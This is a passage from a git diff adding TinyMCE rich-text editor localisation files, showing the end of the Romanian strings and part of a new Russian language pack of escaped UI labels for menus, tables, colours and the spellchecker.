fereastr\u0103 de func\u021bii a aplica\u021biei. Trebuie s\u0103 dezactivezi popup-blocker-ul pentru acest site pentru a folosi aplica\u021bia la capacitate maxim\u0103.","clipboard_no_support":"Deocamdat\u0103 nu este suportat\u0103 de browser. Te rug\u0103m s\u0103 folose\u0219ti combina\u0163iile de taste.","clipboard_msg":"Copiere/T\u0103iere/Lipire nu sunt disponibile \u00een Mozilla \u015fi Firefox.\nDori\u0163i mai multe informa\u0163ii despre aceast\u0103 problem\u0103?","not_set":"-- Nesetat\u0103 --","class_name":"Clas\u0103",browse:"R\u0103sfoie\u015fte",close:"\u00cenchide",cancel:"Anulare",update:"Actualizeaz\u0103",insert:"Insereaz\u0103",apply:"Aplic\u0103","edit_confirm":"Vrei s\u0103 folose\u0219ti un editor avansat pentru aceast\u0103 zon\u0103 de text?","invalid_data_number":"{#field} trebuie s\u0103 fie un num\u0103r","invalid_data_min":"{#field} trebuie s\u0103 fie un num\u0103r mai mare dec\u00e2t {#min}","invalid_data_size":"{#field} trebuie s\u0103 fie un num\u0103r sau un procent",value:"(value)"},contextmenu:{full:"Pe toat\u0103 l\u0103\u021bimea",right:"Dreapta",center:"Centru",left:"St\u00e2nga",align:"Aliniere"},insertdatetime:{"day_short":"Dum,Lun,Mar,Mie,Joi,Vin,S\u00e2m,Dum","day_long":"Duminic\u0103,Luni,Mar\u021bi,Miercuri,Joi,Vineri,S\u00e2mb\u0103t\u0103,Duminic\u0103","months_short":"Ian,Feb,Mar,Apr,Mai,Iun,Iul,Aug,Sep,Oct,Noi,Dec","months_long":"Ianuarie,Februarie,Martie,Aprilie,Mai,Iunie,Iulie,August,Septembrie,Octombrie,Noiembrie,Decembrie ","inserttime_desc":"Insereaz\u0103 ora","insertdate_desc":"Insereaz\u0103 data","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"Tip\u0103re\u0219te"},preview:{"preview_desc":"Previzualizare"},directionality:{"rtl_desc":"Direc\u021bia de la dreapta la st\u00e2nga","ltr_desc":"Direc\u021bia de la st\u00e2nga la dreapta"},layer:{content:"Strat nou ...","absolute_desc":"Pozi\u021bionare absolut\u0103","backward_desc":"Mut\u0103 \u00een spate","forward_desc":"Mut\u0103 \u00een fa\u021b\u0103","insertlayer_desc":"Insereaz\u0103 un strat"},save:{"save_desc":"Salveaz\u0103","cancel_desc":"Anuleaz\u0103 toate schimb\u0103rile"},nonbreaking:{"nonbreaking_desc":"Insereaz\u0103 un spa\u021biu"},iespell:{download:"ieSpell nu a fost detectat. Vrei s\u0103-l instalezi?","iespell_desc":"Verific\u0103 ortografia"},advhr:{"advhr_desc":"Linie orizontal\u0103","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Figurine","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Caut\u0103/\u00eenlocuie\u0219te","search_desc":"Caut\u0103","delta_width":"","delta_height":""},advimage:{"image_desc":"Inserare/editare imagine","delta_width":"","delta_height":""},advlink:{"link_desc":"Inserare/editare leg\u0103tur\u0103","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Insereaz\u0103/editeaz\u0103 atribute","ins_desc":"Inserare","del_desc":"\u0218tergere","acronym_desc":"Acronim","abbr_desc":"Abreviere","cite_desc":"Citat","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Editare CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Lipirea este acum \u00een modul text simplu. Apas\u0103 din nou pentru comutarea la modul normal de lipire.","plaintext_mode_sticky":"Lipirea este acum \u00een modul text simplu. Apas\u0103 aici pentru comutarea la modul normal de lipire. Dup\u0103 ce vei lipi ceva vei reveni la modul normal de lipire.","selectall_desc":"Selecteaz\u0103 tot","paste_word_desc":"Lipire din Word","paste_text_desc":"Lipire ca text simplu"},"paste_dlg":{"word_title":"Folose\u0219te CTRL V pentru a lipi \u00een aceast\u0103 zon\u0103.","text_linebreaks":"P\u0103streaz\u0103 separatoarele de linii.","text_title":"Folose\u0219te CTRL V pentru a lipi \u00een aceast\u0103 zon\u0103."},table:{cell:"Celul\u0103",col:"Coloan\u0103",row:"R\u00e2nd",del:"\u0218terge tabelul","copy_row_desc":"Copiaz\u0103 r\u00e2ndul","cut_row_desc":"Taie r\u00e2ndul","paste_row_after_desc":"Lipe\u015fte r\u00e2ndul dup\u0103","paste_row_before_desc":"Lipe\u015fte r\u00e2ndul \u00eenainte","props_desc":"Propriet\u0103\u021bi tabel","cell_desc":"Propriet\u0103\u021bi celul\u0103","row_desc":"Propriet\u0103\u021bi r\u00e2nd","merge_cells_desc":"Une\u0219te celulele","split_cells_desc":"Separ\u0103 celulele unite","delete_col_desc":"\u0218terge coloana","col_after_desc":"Inserare coloan\u0103 dup\u0103","col_before_desc":"Inserare coloan\u0103 \u00eenainte","delete_row_desc":"\u0218terge r\u00e2ndul","row_after_desc":"Insereaz\u0103 un r\u00e2nd dup\u0103","row_before_desc":"Insereaz\u0103 un r\u00e2nd \u00eenainte",desc:"Inserare/editare tabel","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Daca restaurezi continutul salvat vei pierde tot continutul existent din editor.\n\nSigur vrei sa restaurezi continutul salvat?","restore_content":"Restaureaz\u0103 con\u021binutul salvat automat.","unload_msg":"Modific\u0103rile nu vor fi salvate."},fullscreen:{desc:"Mod ecran complet"},media:{edit:"Editeaz\u0103 media",desc:"Insereaz\u0103 / editeaz\u0103 media","delta_height":"","delta_width":""},fullpage:{desc:"Propriet\u0103\u021bi document","delta_width":"","delta_height":""},template:{desc:"Insereaz\u0103 un \u0219ablon predefinit"},visualchars:{desc:"Comut\u0103 caracterele de control vizual"},spellchecker:{desc:"Comut\u0103 corectorul ortografic",menu:"Set\u0103ri corector ortografic","ignore_word":"Ignor\u0103 cuv\u00e2ntul","ignore_words":"Ignor\u0103 toate",langs:"Limbi",wait:"Te rog a\u0219teapt\u0103...",sug:"Sugestii","no_sug":"Nu sunt sugestii.","no_mpell":"Nu sunt gre\u0219eli.","learn_word":"\u00cenva\u021b\u0103 cuv\u00e2ntul"},pagebreak:{desc:"Insereaz\u0103 un separator de pagin\u0103 pentru tip\u0103rire"},advlist:{types:"Tipuri",def:"Implicit","lower_alpha":"Minuscule alfabetice","lower_greek":"Minuscule grece\u0219ti","lower_roman":"Minuscule romane","upper_alpha":"Majuscule alfabetice","upper_roman":"Majuscule romane",circle:"Cerc",disc:"Disc",square:"P\u0103trat"},colors:{"333300":"Oliv \u00eenchis","993300":"Portocaliu ars","000000":"Negru","003300":"Verde \u00eenchis","003366":"Azuriu \u00eenchis","000080":"Bleumarin","333399":"Indigo","333333":"Gri foarte \u00eenchis","800000":"Cafeniu",FF6600:"Portocaliu","808000":"Oliv","008000":"Verde","008080":"Albastru-verzui","0000FF":"Albastru","666699":"Albastru-gri","808080":"Gri",FF0000:"Ro\u0219u",FF9900:"Chihlimbar","99CC00":"Ocru","339966":"Verde marin","33CCCC":"Turcoaz","3366FF":"Albastur regal","800080":"Violet","999999":"Gri mediu",FF00FF:"Magenta",FFCC00:"Auriu",FFFF00:"Galben","00FF00":"Lime","00FFFF":"Ap\u0103","00CCFF":"Albastru cer","993366":"Maro",C0C0C0:"Argintiu",FF99CC:"Roz",FFCC99:"Piersic\u0103",FFFF99:"Galben deschis",CCFFCC:"Verde pal",CCFFFF:"Cyan pal","99CCFF":"Albastru-cer deschis",CC99FF:"Prun\u0103",FFFFFF:"Alb"},aria:{"rich_text_area":"Zon\u0103 de text formatat"},wordcount:{words:"Cuvinte:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/ru.js b/js/tiny_mce/langs/ru.js new file mode 100755 index 0000000..cac49e1 --- /dev/null +++ b/js/tiny_mce/langs/ru.js @@ -0,0 +1 @@ +tinyMCE.addI18n({ru:{common:{"more_colors":"\u0414\u0440\u0443\u0433\u0438\u0435 \u0446\u0432\u0435\u0442\u0430...","invalid_data":"\u041e\u0448\u0438\u0431\u043a\u0430: \u0412\u0432\u0435\u0434\u0435\u043d\u043e \u043d\u0435\u0432\u0435\u0440\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u043e\u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0440\u0430\u0441\u043d\u044b\u043c.","popup_blocked":"\u0411\u043b\u043e\u043a\u0438\u0440\u0430\u0442\u043e\u0440 \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u043e\u043a\u043e\u043d \u0437\u0430\u043a\u0440\u044b\u043b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435 \u043e\u043a\u043d\u043e. \u0414\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b, \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u043d\u0430 \u044d\u0442\u043e\u043c \u0441\u0430\u0439\u0442\u0435.","clipboard_no_support":"\u041d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0412\u0430\u0448\u0438\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0433\u043e\u0440\u044f\u0447\u0438\u0435 \u043a\u043b\u0430\u0432\u0438\u0448\u0438.","clipboard_msg":"\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0432\u044b\u0440\u0435\u0437\u043a\u0430 \u0438 \u0432\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0432 Firefox.\\r\n\u0425\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e?","not_set":"- \u041d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e -","class_name":"\u041a\u043b\u0430\u0441\u0441",browse:"\u041e\u0431\u0437\u043e\u0440",close:"\u0417\u0430\u043a\u0440\u044b\u0442\u044c",cancel:"\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c",update:"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c",insert:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c",apply:"\u041f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c","edit_confirm":"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c WYSIWYG \u0440\u0435\u0436\u0438\u043c \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044f?","invalid_data_number":"{#field} - \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0447\u0438\u0441\u043b\u043e","invalid_data_min":"{#field} - \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0447\u0438\u0441\u043b\u043e \u0431\u043e\u043b\u044c\u0448\u0435 {#min}","invalid_data_size":"{#field} - \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0447\u0438\u0441\u043b\u043e \u0438\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u043d\u0442",value:"(\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435)"},contextmenu:{full:"\u041f\u043e \u0448\u0438\u0440\u0438\u043d\u0435",right:"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",center:"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",left:"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",align:"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435"},insertdatetime:{"day_short":"\u0432\u0441,\u043f\u043d,\u0432\u0442,\u0441\u0440,\u0447\u0442,\u043f\u0442,\u0441\u0431,\u0432\u0441","day_long":"\u0432\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435,\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a,\u0432\u0442\u043e\u0440\u043d\u0438\u043a,\u0441\u0440\u0435\u0434\u0430,\u0447\u0435\u0442\u0432\u0435\u0440\u0433,\u043f\u044f\u0442\u043d\u0438\u0446\u0430,\u0441\u0443\u0431\u0431\u043e\u0442\u0430,\u0432\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435","months_short":"\u044f\u043d\u0432,\u0444\u0435\u0432,\u043c\u0430\u0440\u0442,\u0430\u043f\u0440,\u043c\u0430\u0439,\u0438\u044e\u043d\u044c,\u0438\u044e\u043b\u044c,\u0430\u0432\u0433,\u0441\u0435\u043d,\u043e\u043a\u0442,\u043d\u043e\u044f,\u0434\u0435\u043a","months_long":"\u044f\u043d\u0432\u0430\u0440\u044c,\u0444\u0435\u0432\u0440\u0430\u043b\u044c,\u043c\u0430\u0440\u0442,\u0430\u043f\u0440\u0435\u043b\u044c,\u043c\u0430\u0439,\u0438\u044e\u043d\u044c,\u0438\u044e\u043b\u044c,\u0430\u0432\u0433\u0443\u0441\u0442,\u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c,\u043e\u043a\u0442\u044f\u0431\u0440\u044c,\u043d\u043e\u044f\u0431\u0440\u044c,\u0434\u0435\u043a\u0430\u0431\u0440\u044c","inserttime_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u0440\u0435\u043c\u044f","insertdate_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0434\u0430\u0442\u0443","time_fmt":"%H:%M:%S","date_fmt":"%d.%m.%Y"},print:{"print_desc":"\u041f\u0435\u0447\u0430\u0442\u044c"},preview:{"preview_desc":"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440"},directionality:{"rtl_desc":"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e","ltr_desc":"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e"},layer:{content:"\u041d\u043e\u0432\u044b\u0439 \u0441\u043b\u043e\u0439","absolute_desc":"\u0410\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e\u0435 \u043f\u043e\u0437\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435","backward_desc":"\u041d\u0430 \u0437\u0430\u0434\u043d\u0438\u0439 \u043f\u043b\u0430\u043d","forward_desc":"\u041d\u0430 \u043f\u0435\u0440\u0435\u0434\u043d\u0438\u0439 \u043f\u043b\u0430\u043d","insertlayer_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u043b\u043e\u0439"},save:{"save_desc":"\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c","cancel_desc":"\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f"},nonbreaking:{"nonbreaking_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u0435\u0440\u0430\u0437\u0440\u044b\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b"},iespell:{download:"ieSpell \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u0416\u0435\u043b\u0430\u0435\u0442\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c?","iespell_desc":"\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u044e"},advhr:{"advhr_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u044c","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u043c\u0430\u0439\u043b","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c","search_desc":"\u041d\u0430\u0439\u0442\u0438","delta_width":"","delta_height":""},advimage:{"delta_width":"200","image_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","delta_height":""},advlink:{"delta_width":"200","link_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443","delta_height":""},xhtmlxtras:{"attribs_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u044d\u043b\u0435\u043c\u0435\u043d\u0442","ins_desc":"\u0417\u0430\u043c\u0435\u043d\u0430","del_desc":"\u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435","acronym_desc":"\u0410\u0431\u0431\u0440\u0435\u0432\u0438\u0430\u0446\u0438\u044f","abbr_desc":"\u0421\u043e\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0435","cite_desc":"\u0426\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c CSS \u0441\u0442\u0438\u043b\u044c","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.","selectall_desc":"\u0412\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0441\u0435","paste_word_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u0437 Word","paste_text_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442"},"paste_dlg":{"word_title":"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043e\u043a\u043d\u043e.","text_linebreaks":"\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044b \u0441\u0442\u0440\u043e\u043a","text_title":"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043e\u043a\u043d\u043e."},table:{"cellprops_delta_width":"30",cell:"\u042f\u0447\u0435\u0439\u043a\u0430",col:"\u0421\u0442\u043e\u043b\u0431\u0435\u0446",row:"\u0421\u0442\u0440\u043e\u043a\u0430",del:"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0443","copy_row_desc":"\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443","cut_row_desc":"\u0412\u044b\u0440\u0435\u0437\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443","paste_row_after_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u043d\u0438\u0437\u0443","paste_row_before_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u0432\u0435\u0440\u0445\u0443","props_desc":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0442\u0430\u0431\u043b\u0438\u0446\u044b","cell_desc":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044f\u0447\u0435\u0439\u043a\u0438","row_desc":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0442\u0440\u043e\u043a\u0438","merge_cells_desc":"\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u044f\u0447\u0435\u0439\u043a\u0438","split_cells_desc":"\u0420\u0430\u0437\u0431\u0438\u0442\u044c \u044f\u0447\u0435\u0439\u043a\u0443","delete_col_desc":"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0442\u043e\u043b\u0431\u0435\u0446","col_after_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u043e\u043b\u0431\u0435\u0446 \u0441\u043f\u0440\u0430\u0432\u0430","col_before_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u043e\u043b\u0431\u0435\u0446 \u0441\u043b\u0435\u0432\u0430","delete_row_desc":"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443","row_after_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u043d\u0438\u0437\u0443","row_before_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u0432\u0435\u0440\u0445\u0443",desc:"\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435/\u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u0431\u043b\u0438\u0446\u044b","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u0412\u0441\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0434\u0443\u0442 \u0443\u0442\u0435\u0440\u044f\u043d\u044b.\n\n\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f?","restore_content":"\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435","unload_msg":"\u041f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0434\u0443\u0442 \u0443\u0442\u0435\u0440\u044f\u043d\u044b, \u0435\u0441\u043b\u0438 \u0412\u044b \u0443\u0439\u0434\u0435\u0442\u0435 \u0441 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b."},fullscreen:{desc:"\u041f\u043e\u043b\u043d\u043e\u044d\u043a\u0440\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c"},media:{"delta_height":"",edit:"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043a\u043b\u0438\u043f\u0430",desc:"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043a\u043b\u0438\u043f","delta_width":""},fullpage:{desc:"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430","delta_width":"","delta_height":""},template:{desc:"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d"},visualchars:{desc:"\u0412\u0441\u0435 \u0437\u043d\u0430\u043a\u0438"},spellchecker:{desc:"\u041f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",menu:"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f","ignore_word":"\u041f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c","ignore_words":"\u041f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0441\u0435",langs:"\u042f\u0437\u044b\u043a\u0438",wait:"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u0434\u043e\u0436\u0434\u0438\u0442\u0435...",sug:"\u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b","no_sug":"\u041d\u0435\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432","no_mpell":"\u041e\u0448\u0438\u0431\u043e\u043a \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e.","learn_word":"\u0417\u0430\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u0441\u043b\u043e\u0432\u043e"},pagebreak:{desc:"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0440\u0430\u0437\u0440\u044b\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b"},advlist:{types:"\u0421\u0438\u043c\u0432\u043e\u043b\u044b",def:"\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435","lower_alpha":"\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0435 \u043b\u0430\u0442\u0438\u043d\u0441\u043a\u0438\u0435 \u0431\u0443\u043a\u0432\u044b","lower_greek":"\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0435 \u0433\u0440\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0443\u043a\u0432\u044b","lower_roman":"\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0435 \u0440\u0438\u043c\u0441\u043a\u0438\u0435 \u0446\u0438\u0444\u0440\u044b","upper_alpha":"\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u0435 \u043b\u0430\u0442\u0438\u043d\u0441\u043a\u0438\u0435 \u0431\u0443\u043a\u0432\u044b","upper_roman":"\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u0435 \u0440\u0438\u043c\u0441\u043a\u0438\u0435 \u0446\u0438\u0444\u0440\u044b",circle:"\u041e\u043a\u0440\u0443\u0436\u043d\u043e\u0441\u0442\u0438",disc:"\u041a\u0440\u0443\u0433\u0438",square:"\u041a\u0432\u0430\u0434\u0440\u0430\u0442\u044b"},colors:{"333300":"\u0422\u0451\u043c\u043d\u043e-\u043e\u043b\u0438\u0432\u043a\u043e\u0432\u044b\u0439","993300":"\u0411\u0438\u0441\u043c\u0430\u0440\u043a-\u0444\u0443\u0440\u0438\u043e\u0437\u043e","000000":"\u0427\u0435\u0440\u043d\u044b\u0439","003300":"\u0422\u0435\u043c\u043d\u043e-\u0437\u0435\u043b\u0435\u043d\u044b\u0439","003366":"\u0422\u0451\u043c\u043d\u0430\u044f \u043b\u0430\u0437\u0443\u0440\u044c","000080":"\u0422\u0451\u043c\u043d\u043e-\u0441\u0438\u043d\u0438\u0439","333399":"\u0418\u043d\u0434\u0438\u0433\u043e","333333":"\u041e\u0447\u0435\u043d\u044c \u0442\u0451\u043c\u043d\u043e-\u0441\u0435\u0440\u044b\u0439","800000":"\u0422\u0451\u043c\u043d\u043e-\u0431\u043e\u0440\u0434\u043e\u0432\u044b\u0439",FF6600:"\u041e\u0440\u0430\u043d\u0436\u0435\u0432\u044b\u0439","808000":"\u041e\u043b\u0438\u0432\u043a\u043e\u0432\u044b\u0439","008000":"\u0412\u043b\u044e\u0431\u043b\u0435\u043d\u043d\u043e\u0439 